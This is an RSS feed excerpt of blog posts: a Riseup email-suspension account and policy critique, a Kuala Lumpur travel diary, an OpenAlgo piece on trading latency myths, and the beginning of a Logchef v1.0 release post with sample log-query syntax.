(Before we continue, I would like to take a moment and reflect upon how nice it was to receive response from a human rather than an AI bot—a trend that is unfortunately becoming the norm nowadays.)
I didn’t know who violated their ToS, so I asked which account violated their terms. Riseup told me:
username-redacted@riseup.net attempted to create aliases that could be abused to impersonate riseup itself.
I asked a friend whom I invited a month before the incident, and they confirmed that the username belonged to them. When I asked what they did, they told me they tried creating aliases such as floatup and risedown. I also asked Riseup which aliases violated their terms, but their support didn’t answer this.
I explained to the Riseup support that the “impersonation” wasn’t intentional, that the user hadn’t sent any emails, and that I had been a user for more than 5 years and had donated to them in the past.
Furthermore, I suggested that they should block the creation of such aliases if they think the aliases violate their terms, like how email providers typically don’t allow users to create admin@ or abuse@ email addresses.
After I explained myself, Riseup reinstated my account.
Update on the 10th of January 2025: My friend told me that the alias that violated Riseup’s terms was cloudadmin and his account was reinstated on the 7th of January.
Issues with suspension
I have the following issues regarding the way the suspension took place —
There was no way of challenging the suspension before the action was taken
The action taken against me was disproportionate. Remember that I didn’t violate any terms. It was allegedly done by a user I invited. They could just block the aliases while continuing the discussion in parallel.
I was locked out of my account with no way of saving my emails and without any chance to migrate. What if that email address was being used for important stuff such as bank access or train tickets? I know people who use Riseup email for such purposes.
The violation wasn’t even proven. I wasn’t told which alias violated the terms and how could that be used to impersonate Riseup itself
When I brought up the issue of me getting locked out of my account without a way of downloading my emails or migrating my account, Riseup support responded by saying:
You must understand that we react [by] protecting our service, and therefore we cannot provide notice messages on the affected accounts. We need to act preventing any potential damage to the service that might affect the rest of the users, and that measure is not excessive (think on how abusers/spammers/scammers/etc could trick us and attempt any action before their account is suspended).
This didn’t address my concerns, so let’s move on to the next section.
Room for improvement
Here’s how I think Riseup’s ban policy could be changed while still protecting against spammers and other bad actors:
Even if Riseup can’t provide notice to blocked accounts, perhaps they can scale back limitations on the inviting account which wasn’t even involved—for example, by temporarily disabling invites from that account until the issue is resolved.
In this case, the person didn’t impersonate Riseup, so Riseup could have just blocked the aliases and let the user know about it, rather than banning the account outright.
Riseup should give blocked users access to their existing emails so they have a chance to migrate them to a different provider. (Riseup could disable SMTP and maybe incoming emails but keep IMAP access open). I know people who use Riseup for important things such as bank or train tickets, and a sudden block like this is not a good idea.
Riseup should factor in the account profile in making these decisions. I had an account on their service for 5 years and I had only created around 5 invites. (I don’t remember the exact number and there’s no way to retrieve this information.) This is not exactly an attacker profile. I feel long-term users like this deserve an explanation for a ban.
I understand Riseup is a community-run service and does not have unlimited resources like big corporations or commercial email providers do. Their actions felt disproportionate to me because I don’t know what issues they face behind the scenes. I hope someone can help to improve the policies, or at least shed light on why they are the way they are.
Signing off now. Meet you in the next one!
Thanks to Badri and Contrapunctus for reviewing this blog post]]></description>
            <content:encoded><![CDATA[<p><strong>Disclaimer: The goal of this post is not to attack Riseup. In fact, I love Riseup and support their work.</strong></p>
<h2 id="story">Story</h2>
<p><a href="http://riseup.net">Riseup</a> is an email provider, known for its privacy-friendly email service. The service requires an invite from an existing Riseup email user to get an account.</p>
<p>I created my account on Riseup in the year 2020, of course with the help of a friend who invited me. Since then, I have used the email address only occasionally, although it is logged into my Thunderbird all the time.</p>
<p>Fast-forward to the 4th of January 2026, when Thunderbird suddenly told me that it could not log in to my Riseup account. When I tried logging in using their webmail, it said &ldquo;invalid password&rdquo;. Finally, I tried logging in to my account on their website, and was told that&hellip;</p>
<blockquote>
<p>Log in for that account is temporary suspended while we perform maintenance. Please try again later.</p>
</blockquote>
<p>At this point, I suspected that the Riseup service itself was facing some issues. I asked a friend who had an account there if the service was up, and they said that it was. The issue seemed to be specific only to my account.</p>
<p>I contacted Riseup support and informed them of the issue. They responded the next day (the 5th of January) saying:</p>
<blockquote>
<p>The <em>my-username-redacted</em> account was found inviting another account that violated our terms of use. As a security measure we suspend all related accounts to ToS violations.</p>
</blockquote>
<p>(Before we continue, I would like to take a moment and reflect upon how nice it was to receive response from a human rather than an AI bot—a trend that is unfortunately becoming the norm nowadays.)</p>
<p>I didn&rsquo;t know who violated their ToS, so I asked which account violated their terms. Riseup told me:</p>
<blockquote>
<p><em><a href="mailto:username-redacted@riseup.net">username-redacted@riseup.net</a></em> attempted to create aliases that could be abused to impersonate riseup itself.</p>
</blockquote>
<p>I asked a friend whom I invited a month before the incident, and they confirmed that the username belonged to them. When I asked what they did, they told me they tried creating aliases such as <code>floatup</code> and <code>risedown</code>. I also asked Riseup which aliases violated their terms, but their support didn&rsquo;t answer this.</p>
<p>I explained to the Riseup support that the &ldquo;impersonation&rdquo; wasn&rsquo;t intentional, that the user hadn&rsquo;t sent any emails, and that I had been a user for more than 5 years and had donated to them in the past.</p>
<p>Furthermore, I suggested that they should block the creation of such aliases if they think the aliases violate their terms, like how email providers typically don&rsquo;t allow users to create admin@ or abuse@ email addresses.</p>
<p>After I explained myself, Riseup reinstated my account.</p>
<p>Update on the 10th of January 2025: My friend told me that the alias that violated Riseup&rsquo;s terms was <code>cloudadmin</code> and his account was reinstated on the 7th of January.</p>
<h2 id="issues-with-suspension">Issues with suspension</h2>
<p>I have the following issues regarding the way the suspension took place —</p>
<ul>
<li>There was no way of challenging the suspension before the action was taken</li>
<li>The action taken against me was disproportionate. Remember that I didn&rsquo;t violate any terms. It was allegedly done by a user I invited. They could just block the aliases while continuing the discussion in parallel.</li>
<li>I was locked out of my account with no way of saving my emails and without any chance to migrate. What if that email address was being used for important stuff such as bank access or train tickets? I know people who use Riseup email for such purposes.</li>
<li>The violation wasn&rsquo;t even proven. I wasn&rsquo;t told which alias violated the terms and how could that be used to impersonate Riseup itself</li>
</ul>
<p>When I brought up the issue of me getting locked out of my account without a way of downloading my emails or migrating my account, Riseup support responded by saying:</p>
<blockquote>
<p>You must understand that we react [by] protecting our service, and therefore we cannot provide notice messages on the affected accounts. We need to act preventing any potential damage to the service that might affect the rest of the users, and that measure is not excessive (think on how abusers/spammers/scammers/etc could trick us and attempt any action before their account is suspended).</p>
</blockquote>
<p>This didn&rsquo;t address my concerns, so let&rsquo;s move on to the next section.</p>
<h2 id="room-for-improvement">Room for improvement</h2>
<p>Here&rsquo;s how I think Riseup&rsquo;s ban policy could be changed while still protecting against spammers and other bad actors:</p>
<ul>
<li>
<p>Even if Riseup can&rsquo;t provide notice to blocked accounts, perhaps they can scale back limitations on the inviting account which wasn&rsquo;t even involved—for example, by temporarily disabling invites from that account until the issue is resolved.</p>
</li>
<li>
<p>In this case, the person didn&rsquo;t impersonate Riseup, so Riseup could have just blocked the aliases and let the user know about it, rather than banning the account outright.</p>
</li>
<li>
<p>Riseup should give blocked users access to their existing emails so they have a chance to migrate them to a different provider. (Riseup could disable SMTP and maybe incoming emails but keep IMAP access open). I know people who use Riseup for important things such as bank or train tickets, and a sudden block like this is not a good idea.</p>
</li>
<li>
<p>Riseup should factor in the account profile in making these decisions. I had an account on their service for 5 years and I had only created around 5 invites. (I don&rsquo;t remember the exact number and there&rsquo;s no way to retrieve this information.) This is not exactly an attacker profile. I feel long-term users like this deserve an explanation for a ban.</p>
</li>
</ul>
<p>I understand Riseup is a community-run service and does not have unlimited resources like big corporations or commercial email providers do. Their actions felt disproportionate to me because I don&rsquo;t know what issues they face behind the scenes. I hope someone can help to improve the policies, or at least shed light on why they are the way they are.</p>
<p>Signing off now. Meet you in the next one!</p>
<p><em>Thanks to <a href="https://badrihippo.thekambattu.rocks">Badri</a> and <a href="https://contrapunctus.codeberg.page">Contrapunctus</a> for reviewing this blog post</em></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Life’s Purpose]]></title>
            <link>https://www.prashanthudupa.com/lifes-purpose/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/lifes-purpose/</guid>
            <pubDate>Sun, 04 Jan 2026 18:13:22 GMT</pubDate>
            <description><![CDATA[As Turiya, what is the purpose of life? The purpose of a body-mind-personality system is easy to define in terms of goals, ambitions, aspirations and so on. But, as Turiya, what really is the purpose of life? The purpose of life is to make space for Karma to express and extinguish itself. The content of […]]]></description>
            <content:encoded><![CDATA[As Turiya, what is the purpose of life? The purpose of a body-mind-personality system is easy to define in terms of goals, ambitions, aspirations and so on. But, as Turiya, what really is the purpose of life? The purpose of life is to make space for Karma to express and extinguish itself. The content of [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Transit through Kuala Lumpur]]></title>
            <link>https://ravidwivedi.in/posts/kuala-lumpur/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kuala-lumpur/</guid>
            <pubDate>Wed, 31 Dec 2025 14:05:53 GMT</pubDate>
            <description><![CDATA[In my last post, Badri and I reached Kuala Lumpur - the capital of Malaysia - on the 7th of December 2024. We stayed in Bukit Bintang, the entertainment district of the city. Our accommodation was pre-booked at “Manor by Mingle”, a hostel where I had stayed for a couple of nights in a dormitory room earlier in February 2024.
We paid 4937 rupees (the payment was online, so we paid in Indian rupees) for 3 nights for a private room. From the Terminal Bersepadu Selatan (TBS) bus station, we took the metro to the Plaza Rakyat LRT station, which was around 500 meters from the hostel. Upon arriving at the hostel, we presented our passports at their request, followed by a 20 ringgit (400 rupee) deposit which would be refunded once we returned the room keys at checkout.

      
Manor by Mingle - the hostel where we stayed at during our KL transit. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Our room was upstairs and it had a bunk bed. I had seen bunk beds in dormitories before, but this was my first time seeing a bunk bed in a private room. The room did not have any toilets, so we had to use shared toilets.
Unusually, the hostel was equipped with a pool. It also had a washing machine with dryers - this was one of the reasons we chose this hostel, because we were traveling light and hadn’t packed too many clothes. The machine and dryer cost 10 ringgits (200 rupees) per use, and we only used it once. The hostel provided complimentary breakfast, which included coffee. Outside of breakfast hours, there was also a paid coffee machine.
During our stay, we visited a gurdwara - a place of worship for Sikhs - which was within walking distance from our hostel. The name of the gurdwara was Gurdwara Sahib Mainduab. However, it wasn’t as lively as I had thought. The gurdwara was locked from the inside, and we had to knock on the gate and call for someone to open it. A man opened the gate and invited us in.
The gurdwara was small, and there was only one other visitor - a  man worshipping upstairs. We went upstairs briefly, then settled down on the first floor.
We had some conversations with the person downstairs who kindly made chai for us. They mentioned that the langar (community meal) is organized on every Friday, which was unlike the gurdwaras I have been to where the langar is served every day. We were there for an hour before we left.
We also went to Adyar Ananda Bhavan (a restaurant chain) near our hostel to try the chain in Malaysia. The chain is famous in Southern India and also known by its short name A2B. We ordered
an onion dosa for 10 ringgits (200 rupees),
1 masala tea for 6 ringgits (120 rupees),
2 pooris for 8 ringgits (160 rupees) and
1 plate potato bajji for 7 ringgits (140 rupees).

      
Dosa served at Adyar Ananda Bhavan. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
All this came down to around 33 ringgits (including taxes), i.e. around 660 rupees. We also purchased some snacks such as murukku from there for our trip.
We had planned a day trip to Malacca, but had to cancel it due to rain. We didn’t do a lot in Kuala Lumpur, and it ended up acting as a transit point for us to other destinations: flights from Kuala Lumpur were cheaper than Singapore, and in one case a flight via Kuala Lumpur was even cheaper than a direct flight!
We paid 15,000 rupees in total for the following three flights:
Kuala Lumpur to Brunei,
Brunei to Kuala Lumpur, and
Kuala Lumpur to Ho Chi Minh City (Vietnam).
These were all AirAsia flights. The cheap tickets, however, did not include any checked-in luggage, and the cabin luggage weight limit was 7 kg. We also bought quite some stuff in Kuala Lumpur and Singapore, leading to an increase in the weight of our luggage.
We estimated that it would be cheaper for us to take only essential items such as clothes, cameras, and laptops, and to leave behind souvenirs and other non-essentials in lockers at the TBS bus stand in Kuala Lumpur, than to pay more for check-in luggage. It would take 140 ringgits for us to add a checked-in bag from Kuala Lumpur to Bandar Seri Begawan and back, while the cost for lockers was 55 ringgits at the rate of 5 ringgits every six hours.
We had seen these lockers when we alighted at the bus stand while coming from Johor Bahru. There might have been lockers in the airport itself as well, which would have been more convenient as we were planning to fly back in soon, but we weren’t sure about finding lockers at the airport and we didn’t want to waste time looking.
We had an early morning flight for Brunei on the 10th of December. We checked out from our hostel on the night of the 9th of December, and left for TBS to take a bus to the airport. We took a metro from the nearest metro station to TBS. Upon reaching there, we put our luggage in the lockers. The lockers were automated and there was no staff there to guide us.

      
Lockers at TBS bus station. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
We bought a ticket for the airport bus from a counter at TBS for 26 ringgits for both of us. In order to give us tickets, the person at the counter asked for our passports, and we handed it over to them promptly. Since paying in cash did not provide any extra anonymity, I would advise others to book these buses online.
In Malaysia, you also need a boarding pass for buses. The bus terminal had kiosks for getting these printed, but they were broken and we had to go to a counter to obtain them. The boarding pass mentioned our gate number and other details such as our names and departure time of the bus. The company was Jet Bus.

      
My boarding pass for the bus to the airport in Kuala Lumpur. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
To go to our boarding gate, we had to scan our boarding pass to let the AFC gates open. Then we went downstairs, leading into the waiting area. It had departure boards listing the bus timings and their respective gates. We boarded our bus around 10 minutes before the departure time - 00:00 hours. It departed at its scheduled time and took 45 minutes to reach KL Airport Terminal 2, where we alighted.
We reached 6 hours before our flight’s departure time of 06:30. We stopped at a convenience store at the airport to have some snacks. Then we weighed our bags at a weighing machine to check whether we were within the weight limit. It turned out that we were.
We went to an AirAsia counter to get our boarding passes. The lady at our counter checked our Brunei visas carefully and looked for any Brunei stamps on the passports to verify whether we had used that visa in the past. However, she didn’t weigh our bags to check whether they were within the limit, and gave us our boarding passes.
We had more than 4 hours to go before our flight. This was the downside of booking an early morning flight - we weren’t able to get a full night’s sleep.
A couple of hours before our flight time, we were hanging around our boarding gate. The place was crowded, so there were no seats available. There were no charging points. There was a Burger King outlet there which had some seating space and charging points. As we were hungry, we ordered two cups of cappuccino coffee (15.9 ringgits) and one large french fries (8.9 ringgits) from Burger King. The total amount was 24 ringgits.
When it was time to board the flight, we went to the waiting area for our boarding gates. Soon, we boarded the plane. It took 2.5 hours to reach the Brunei International Airport in the capital city of Bandar Seri Begawan.

      
View of Kuala Lumpur from the aeroplane. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Stay tuned for our experiences in Brunei!
Credits: Thanks to Badri, Benson and Contrapunctus for reviewing the draft.]]></description>
            <content:encoded><![CDATA[<p>In <a href="https://ravidwivedi.in/posts/a-bad-day-in-malaysia.md">my last post</a>, Badri and I reached Kuala Lumpur - the capital of Malaysia - on the 7th of December 2024. We stayed in Bukit Bintang, the entertainment district of the city. Our accommodation was pre-booked at &ldquo;Manor by Mingle&rdquo;, a hostel where I had stayed for a couple of nights in a dormitory room earlier in February 2024.</p>
<p>We paid 4937 rupees (the payment was online, so we paid in Indian rupees) for 3 nights for a private room. From the Terminal Bersepadu Selatan (TBS) bus station, we took the metro to the Plaza Rakyat LRT station, which was around 500 meters from the hostel. Upon arriving at the hostel, we presented our passports at their request, followed by a 20 ringgit (400 rupee) deposit which would be refunded once we returned the room keys at checkout.</p>
<figure><img src="https://ravidwivedi.in/images/kl/manor-by-mingle.avif"
    alt="Outside view of the hostel Manor by Mingle"><figcaption>
      <p>Manor by Mingle - the hostel where we stayed at during our KL transit. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Our room was upstairs and it had a bunk bed. I had seen bunk beds in dormitories before, but this was my first time seeing a bunk bed in a private room. The room did not have any toilets, so we had to use shared toilets.</p>
<p>Unusually, the hostel was equipped with a pool. It also had a washing machine with dryers - this was one of the reasons we chose this hostel, because we were traveling light and hadn&rsquo;t packed too many clothes. The machine and dryer cost 10 ringgits (200 rupees) per use, and we only used it once. The hostel provided complimentary breakfast, which included coffee. Outside of breakfast hours, there was also a paid coffee machine.</p>
<p>During our stay, we visited a <em>gurdwara</em> - a place of worship for Sikhs - which was within walking distance from our hostel. The name of the <em>gurdwara</em> was <em>Gurdwara Sahib Mainduab</em>. However, it wasn&rsquo;t as lively as I had thought. The gurdwara was locked from the inside, and we had to knock on the gate and call for someone to open it. A man opened the gate and invited us in.</p>
<p>The gurdwara was small, and there was only one other visitor - a  man worshipping upstairs. We went upstairs briefly, then settled down on the first floor.</p>
<p>We had some conversations with the person downstairs who kindly made chai for us. They mentioned that the <em>langar</em> (community meal) is organized on every Friday, which was unlike the gurdwaras I have been to where the <em>langar</em> is served every day. We were there for an hour before we left.</p>
<p>We also went to <a href="https://en.wikipedia.org/wiki/Adyar_Ananda_Bhavan">Adyar Ananda Bhavan</a> (a restaurant chain) near our hostel to try the chain in Malaysia. The chain is famous in Southern India and also known by its short name A2B. We ordered</p>
<ul>
<li>an onion dosa for 10 ringgits (200 rupees),</li>
<li>1 masala tea for 6 ringgits (120 rupees),</li>
<li>2 pooris for 8 ringgits (160 rupees) and</li>
<li>1 plate potato bajji for 7 ringgits (140 rupees).</li>
</ul>
<figure><img src="https://ravidwivedi.in/images/kl/dosa.avif"
    alt="A dosa"><figcaption>
      <p>Dosa served at Adyar Ananda Bhavan. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>All this came down to around 33 ringgits (including taxes), i.e. around 660 rupees. We also purchased some snacks such as murukku from there for our trip.</p>
<p>We had planned a day trip to Malacca, but had to cancel it due to rain. We didn&rsquo;t do a lot in Kuala Lumpur, and it ended up acting as a transit point for us to other destinations: flights from Kuala Lumpur were cheaper than Singapore, and in one case a flight via Kuala Lumpur was even cheaper than a direct flight!</p>
<p>We paid 15,000 rupees in total for the following three flights:</p>
<ol>
<li>Kuala Lumpur to Brunei,</li>
<li>Brunei to Kuala Lumpur, and</li>
<li>Kuala Lumpur to Ho Chi Minh City (Vietnam).</li>
</ol>
<p>These were all AirAsia flights. The cheap tickets, however, did not include any checked-in luggage, and the cabin luggage weight limit was 7 kg. We also bought quite some stuff in Kuala Lumpur and Singapore, leading to an increase in the weight of our luggage.</p>
<p>We estimated that it would be cheaper for us to take only essential items such as clothes, cameras, and laptops, and to leave behind souvenirs and other non-essentials in lockers at the TBS bus stand in Kuala Lumpur, than to pay more for check-in luggage. It would take 140 ringgits for us to add a checked-in bag from Kuala Lumpur to Bandar Seri Begawan and back, while the cost for lockers was 55 ringgits at the rate of 5 ringgits every six hours.</p>
<p>We had seen these lockers when we alighted at the bus stand while coming from Johor Bahru. There might have been lockers in the airport itself as well, which would have been more convenient as we were planning to fly back in soon, but we weren&rsquo;t sure about finding lockers at the airport and we didn&rsquo;t want to waste time looking.</p>
<p>We had an early morning flight for Brunei on the 10th of December. We checked out from our hostel on the night of the 9th of December, and left for TBS to take a bus to the airport. We took a metro from the nearest metro station to TBS. Upon reaching there, we put our luggage in the lockers. The lockers were automated and there was no staff there to guide us.</p>
<figure><img src="https://ravidwivedi.in/images/kl/lockers.avif"
    alt="Lockers at TBS bus station"><figcaption>
      <p>Lockers at TBS bus station. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>We bought a ticket for the airport bus from a counter at TBS for 26 ringgits for both of us. In order to give us tickets, the person at the counter asked for our passports, and we handed it over to them promptly. Since paying in cash did not provide any extra anonymity, I would advise others to book these buses online.</p>
<p>In Malaysia, you also need a boarding pass for buses. The bus terminal had kiosks for getting these printed, but they were broken and we had to go to a counter to obtain them. The boarding pass mentioned our gate number and other details such as our names and departure time of the bus. The company was Jet Bus.</p>
<figure><img src="https://ravidwivedi.in/images/kl/boarding-pass.avif"
    alt="My boarding pass for the bus to the airport in Kuala Lumpur"><figcaption>
      <p>My boarding pass for the bus to the airport in Kuala Lumpur. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>To go to our boarding gate, we had to scan our boarding pass to let the AFC gates open. Then we went downstairs, leading into the waiting area. It had departure boards listing the bus timings and their respective gates. We boarded our bus around 10 minutes before the departure time - 00:00 hours. It departed at its scheduled time and took 45 minutes to reach KL Airport Terminal 2, where we alighted.</p>
<p>We reached 6 hours before our flight&rsquo;s departure time of 06:30. We stopped at a convenience store at the airport to have some snacks. Then we weighed our bags at a weighing machine to check whether we were within the weight limit. It turned out that we were.</p>
<p>We went to an AirAsia counter to get our boarding passes. The lady at our counter checked our Brunei visas carefully and looked for any Brunei stamps on the passports to verify whether we had used that visa in the past. However, she didn&rsquo;t weigh our bags to check whether they were within the limit, and gave us our boarding passes.</p>
<p>We had more than 4 hours to go before our flight. This was the downside of booking an early morning flight - we weren&rsquo;t able to get a full night&rsquo;s sleep.</p>
<p>A couple of hours before our flight time, we were hanging around our boarding gate. The place was crowded, so there were no seats available. There were no charging points. There was a Burger King outlet there which had some seating space and charging points. As we were hungry, we ordered two cups of cappuccino coffee (15.9 ringgits) and one large french fries (8.9 ringgits) from Burger King. The total amount was 24 ringgits.</p>
<p>When it was time to board the flight, we went to the waiting area for our boarding gates. Soon, we boarded the plane. It took 2.5 hours to reach the Brunei International Airport in the capital city of Bandar Seri Begawan.</p>
<figure><img src="https://ravidwivedi.in/images/kl/view-of-kl.avif"
    alt="View of Kuala Lumpur from the aeroplane"><figcaption>
      <p>View of Kuala Lumpur from the aeroplane. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Stay tuned for our experiences in Brunei!</p>
<p><strong>Credits: Thanks to <a href="https://badrihippo.thekambattu.rocks/">Badri</a>, Benson and <a href="https://contrapunctus.codeberg.page">Contrapunctus</a> for reviewing the draft.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[After "AI": Anticipating a post-LLM science & technology revolution]]></title>
            <link>https://www.evalapply.org/posts/after-ai/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/after-ai/index.html</guid>
            <pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[I, for one, welcome the coming age of the post-LLM-datacenter-overinvestment-bust-fueled backyard GPU supercomputer revolution.]]></description>
            <content:encoded><![CDATA[I, for one, welcome the coming age of the post-LLM-datacenter-overinvestment-bust-fueled backyard GPU supercomputer revolution.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Busting the Common Misconception: Faster Languages, Desktop Apps, and Broker APIs Do Not…]]></title>
            <link>https://openalgo.medium.com/busting-the-common-misconception-faster-languages-alone-dont-guarantee-faster-trade-execution-1fc197a6804c?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/busting-the-common-misconception-faster-languages-alone-dont-guarantee-faster-trade-execution-1fc197a6804c?source=rss-cda86e929c3------2</guid>
            <pubDate>Fri, 26 Dec 2025 16:55:51 GMT</pubDate>
            <content:encoded><![CDATA[<h3>Busting the Common Misconception: Faster Languages, Desktop Apps, and Broker APIs Do Not Automatically Give You Better Execution or High Frequency Performance</h3><p>Many traders who get into automation believe a few things that sound convincing at first.</p><p>They believe that choosing a faster programming language gives them faster execution.</p><p>They believe that building a desktop application on top of a broker API is more reliable than a web based application.</p><p>They believe that having broker connectivity over the internet means they can do high frequency trading.</p><p>All of these beliefs have some truth behind them, but taken alone they create the wrong picture. To understand what really matters, we need to look at what delays your trades, what high frequency trading actually means, and what kind of tools and SDK support you need to build strategies that can grow over time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFCyBqGkzWLF3fAyVQdDGQ.png" /></figure><h3>What is latency, explained in simple terms for traders</h3><p>Latency is the time it takes for your order to travel from your system to your broker, then to the exchange, and for the acknowledgement to come back. Think of it like sending someone a message and waiting for their reply, but in milliseconds instead of seconds. Every time you place an order, this round trip happens.</p><p>Latency is not just about your program. It includes the time taken by your internet, your broker network, and the exchange itself.</p><h3>Where the real delay comes from</h3><p>Across most broker platforms, the unavoidable round trip between your system and the broker takes anywhere between thirty five and one hundred twenty milliseconds. This is the largest part of the time spent. Your strategy code itself, whether written in Go, Rust, C Sharp, or Python, usually completes its logic in less than one millisecond.</p><p>OpenAlgo adds around five milliseconds because it takes care of routing, caching, and consistent internal checks before your order is sent out.</p><p>Put together, the total time looks like this:</p><pre>Strategy code time         around 0.1 ms<br>OpenAlgo internal time     around 5 ms<br>Broker request time        35 to 120 ms<br>Total                      40 to 125 ms</pre><p>Removing OpenAlgo would save a few milliseconds, but it would not remove the biggest delay, which is the broker path.</p><h3>Why many traders cannot do true high frequency trading from home</h3><p>Many new traders say that a total latency of forty to one hundred twenty milliseconds means they can do high frequency trading. In reality, true high frequency trading takes place at microsecond and nanosecond timings. These strategies do not use the regular internet. They operate inside exchange data centers where the cables between systems are measured in meters and sometimes even centimeters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30Kk3O8tVs-PtIyA9oaRMw.png" /></figure><p>Over home or office internet, latency is not only higher, it is also inconsistent. One order might reach the broker quickly, the next one might take longer because of changing network conditions. For high frequency strategies, consistency matters even more than speed. To get consistent speed, traders colocate their systems inside exchange facilities. That is where true high frequency strategies live. They do not run on a laptop or a desktop at home, and they do not run over regular internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4V1BaDWfxNVw6C79cRkOQ.png" /></figure><p>So the myth that high frequency can be done over a standard broker API with internet based round trips is not accurate. To get consistency, you need physical proximity to the exchange and infrastructure designed for it.</p><h3>The myth of desktop applications being more reliable than web applications</h3><p>Another common belief is that desktop based applications built on top of broker APIs are more robust than web applications. Traders often assume that a desktop application is closer to the hardware and therefore more stable.</p><p>In reality, reliability comes from connection handling, retry logic, persistent sessions, consistent state management, and good error recovery. These can be implemented in both desktop and web applications. A desktop wrapper on top of an unstable API does not magically make that API more stable. A well built web application with proper retry, reconnect, and session persistence can be more reliable than a desktop application that does not handle failures correctly.</p><p>The difference is not the interface you see. The difference is the engineering underneath.</p><h3>Why SDK support matters more than many traders realize</h3><p>Most small and mid sized brokers provide only a single SDK, usually in Python. Some brokers do not provide any SDK at all, leaving you to write everything yourself. If you want to build strategies in Go, Rust, Java, C Sharp, or Node.js, you often have to start from raw HTTP requests.</p><p>OpenAlgo offers ready to use SDKs in all of these languages.<br> Python, Node.js, Java, Rust, DotNet using C Sharp, and Go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlCCrb7EyBpP08FE_BVoSQ.png" /></figure><p>This means you can write strategies in the language you prefer and target multiple brokers without building integrations from scratch. That capability saves time and allows you to move between brokers without rewriting your entire system.</p><p>A few milliseconds of overhead is small compared to the time saved when you do not need to rebuild your trading infrastructure every time you switch providers.</p><h3>So what is the truth traders should know</h3><p>Language speed helps, but does not break the biggest delay<br> Desktop applications are not automatically more robust<br> The internet is not consistent enough for true high frequency trading<br> Broker round trip latency is measured in tens of milliseconds<br> Actual high frequency trading is measured in microseconds and nanoseconds</p><p>Consistency requires colocating near exchanges, not sitting behind a home connection</p><p>And most importantly A multi language SDK ecosystem gives more real world advantages than shaving a few milliseconds off local processing</p><h3>The misconception resolved</h3><p>Speed matters, but it is not where most traders think it is.<br>Consistency matters, but you do not get it over the public internet.<br>Robustness matters, but it is a property of system design, not the application type.</p><p>And flexibility matters, because strategies grow over years, not days.</p><p>The right foundation makes your trading platform durable.<br> OpenAlgo gives that foundation through consistent broker access and ready to use SDKs in the languages traders want to build with, which many brokers do not offer at all.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fc197a6804c" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>algorithmic-trading</category>
            <category>kit-sdk</category>
            <category>trading</category>
            <category>openalgo</category>
            <category>python</category>
        </item>
        <item>
            <title><![CDATA[Logchef v1.0: The Journey to a Real Log Viewer]]></title>
            <link>https://mrkaran.dev/posts/logchef-v1/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/logchef-v1/</guid>
            <pubDate>Mon, 22 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[About eight months ago I wrote about Logchef – a log viewer I’d been building to scratch my own itch with log exploration at work. Back then it was basically a nicer way to query ClickHouse without writing raw SQL every time. Today I’m shipping v1.0, and it’s evolved into something I didn’t quite expect.


Let me walk through the major features that made it to 1.0 and some of the engineering decisions behind them.
Alerting with Alertmanager Integration#
In that first post, I mentioned alerting as a “roadmap” item. It always felt like the obvious next step – you find a pattern in your logs, you want to know when it happens again.


But building it took longer than expected. My first attempt was a “rooms” system – a home-grown notification router with its own email, Slack, and webhook channels. I got it working, then stared at the code for notification deduplication, grouping, silencing, and escalation. All problems that Alertmanager has already solved and battle-tested in production for years.
So I ripped out rooms and integrated Alertmanager instead. Now Logchef just fires alerts to Alertmanager, and you get all the routing logic – Slack, PagerDuty, email, webhooks, silencing, grouping, inhibition – without me reinventing it poorly.
The workflow is simple: write a LogchefQL or SQL query, set a threshold (e.g., “fire if count > 100”), pick a frequency, configure severity and labels. Logchef runs your query on schedule, evaluates the threshold, and if it triggers, fires an alert. Alert history is stored with execution logs so you can debug why something fired (or didn’t).
LogchefQL: From Toy Parser to Production Backend#
The query language I wrote about originally was pretty basic – just filters that compiled to SQL on the frontend. Over the months it grew into something more capable, but more importantly, I rewrote the entire parser in Go and moved it to the backend. This also opens the door for a CLI tool later – same parser, same query language, different interface.
Here’s what LogchefQL looks like now:
namespace="prod" AND level="error" | message, trace_id
The pipe operator (|) selects specific columns instead of SELECT *:
msg.level="ERROR" | timestamp, msg.request.method
Dot notation handles nested JSON fields. If your logs have a log_attributes Map column with nested data:
log_attributes.user.name = "john"
For keys that contain dots (common in OTEL-style logs), use quoted field syntax:
log_attributes."http.status_code" >= 500
Why Move Parsing to the Backend?#
The original frontend parser was TypeScript. It worked, but had problems:
